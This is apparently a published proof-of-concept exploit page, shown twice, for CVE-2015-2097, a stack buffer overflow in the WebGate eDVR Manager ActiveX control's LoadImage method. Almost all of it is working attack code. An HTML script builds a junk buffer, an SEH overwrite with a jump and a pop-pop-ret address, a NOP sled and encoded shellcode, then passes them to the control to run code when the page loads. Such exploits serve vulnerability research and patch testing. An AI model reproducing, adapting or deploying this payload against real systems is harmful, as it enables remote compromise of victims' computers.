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<html> <!-- # Exploit Title: WebGate eDVR Manager WESPMonitor.WESPMonitorCtrl LoadImage Stack Buffer Overflow Remote Code Execution (0 day) # Date: 26th MArch, 2015 # Exploit Author: Praveen Darshanam # Vendor Homepage: http://www.webgateinc.com/wgi/eng/ # Software Link: http://www.webgateinc.com/wgi_htdocs/eng/dcenter/view.php?id=wgi_eng&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=531&category_group=4&category_product=74&category=174 # Version: 1, 6, 42, 0 # Tested on: Windows XP SP3 (IE6/7/8) # CVE : 2015-2097 targetFile = "C:\Windows\System32\WESPSDK\WESPMonitor.dll" prototype = "Sub LoadImage ( ByVal bstrFullPath As String )" memberName = "LoadImage" progid = "WESPMONITORLib.WESPMonitorCtrl" argCount = 1 For full analysis of the exploit refer http://blog.disects.com/2015/03/webgate-edvr-manager.html --> <object classid='clsid:B19147A0-C2FD-4B1F-BD20-3A3E1ABC4FC3' id='target'> </object> <script> var arg1 = ""; nops = ""; var buff = ""; for(i=0;i<268;i++) { arg1 += "B"; } nseh = "\xeb\x10\x90\x90"; //jmp over addr seh = "\x71\x47\x01\x10"; //pop pop ret addr document.write("</br>"+"Lengths: arg1="+arg1.length+" seh="+seh.length+"</br>"); for(i=0;i<200;i++) { nops += "\x90"; } sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" + "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" + "\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" + "\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" + "\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" + "\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" + "\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" + "\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" + "\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" + "\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" + "\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" + "\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" + "\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" + "\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" + "\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" + "\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" + "\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" + "\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" + "\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" + "\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" + "\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" + "\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" + "\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" + "\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" + "\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" + "\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" + "\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" + "\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" + "\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" + "\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" + "\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" + "\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" + "\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" + "\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" + "\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41"; for(i=0;i<(4000-(arg1.length + seh.length + nseh.length + nops.length+ sc.length));i++) { buff += "A"; } // [junk buffer][next SEH(jump)][SE Handler (pop pop ret)][Shellcode] fbuff = arg1 + nseh + seh + nops + sc + buff; target.LoadImage(fbuff); </script> </html> Source
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<html> <!-- # Exploit Title: WebGate eDVR Manager WESPMonitor.WESPMonitorCtrl LoadImage Stack Buffer Overflow Remote Code Execution (0 day) # Date: 26th MArch, 2015 # Exploit Author: Praveen Darshanam # Vendor Homepage: http://www.webgateinc.com/wgi/eng/ # Software Link: http://www.webgateinc.com/wgi_htdocs/eng/dcenter/view.php?id=wgi_eng&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=531&category_group=4&category_product=74&category=174 # Version: 1, 6, 42, 0 # Tested on: Windows XP SP3 (IE6/7/8) # CVE : 2015-2097 targetFile = "C:\Windows\System32\WESPSDK\WESPMonitor.dll" prototype = "Sub LoadImage ( ByVal bstrFullPath As String )" memberName = "LoadImage" progid = "WESPMONITORLib.WESPMonitorCtrl" argCount = 1 For full analysis of the exploit refer http://blog.disects.com/2015/03/webgate-edvr-manager.html --> <object classid='clsid:B19147A0-C2FD-4B1F-BD20-3A3E1ABC4FC3' id='target'> </object> <script> var arg1 = ""; nops = ""; var buff = ""; for(i=0;i<268;i++) { arg1 += "B"; } nseh = "\xeb\x10\x90\x90"; //jmp over addr seh = "\x71\x47\x01\x10"; //pop pop ret addr document.write("</br>"+"Lengths: arg1="+arg1.length+" seh="+seh.length+"</br>"); for(i=0;i<200;i++) { nops += "\x90"; } sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" + "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" + "\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" + "\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" + "\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" + "\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" + "\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" + "\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" + "\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" + "\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" + "\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" + "\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" + "\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" + "\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" + "\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" + "\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" + "\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" + "\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" + "\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" + "\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" + "\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" + "\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" + "\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" + "\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" + "\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" + "\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" + "\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" + "\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" + "\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" + "\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" + "\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" + "\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" + "\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" + "\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" + "\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41"; for(i=0;i<(4000-(arg1.length + seh.length + nseh.length + nops.length+ sc.length));i++) { buff += "A"; } // [junk buffer][next SEH(jump)][SE Handler (pop pop ret)][Shellcode] fbuff = arg1 + nseh + seh + nops + sc + buff; target.LoadImage(fbuff); </script> </html> Source
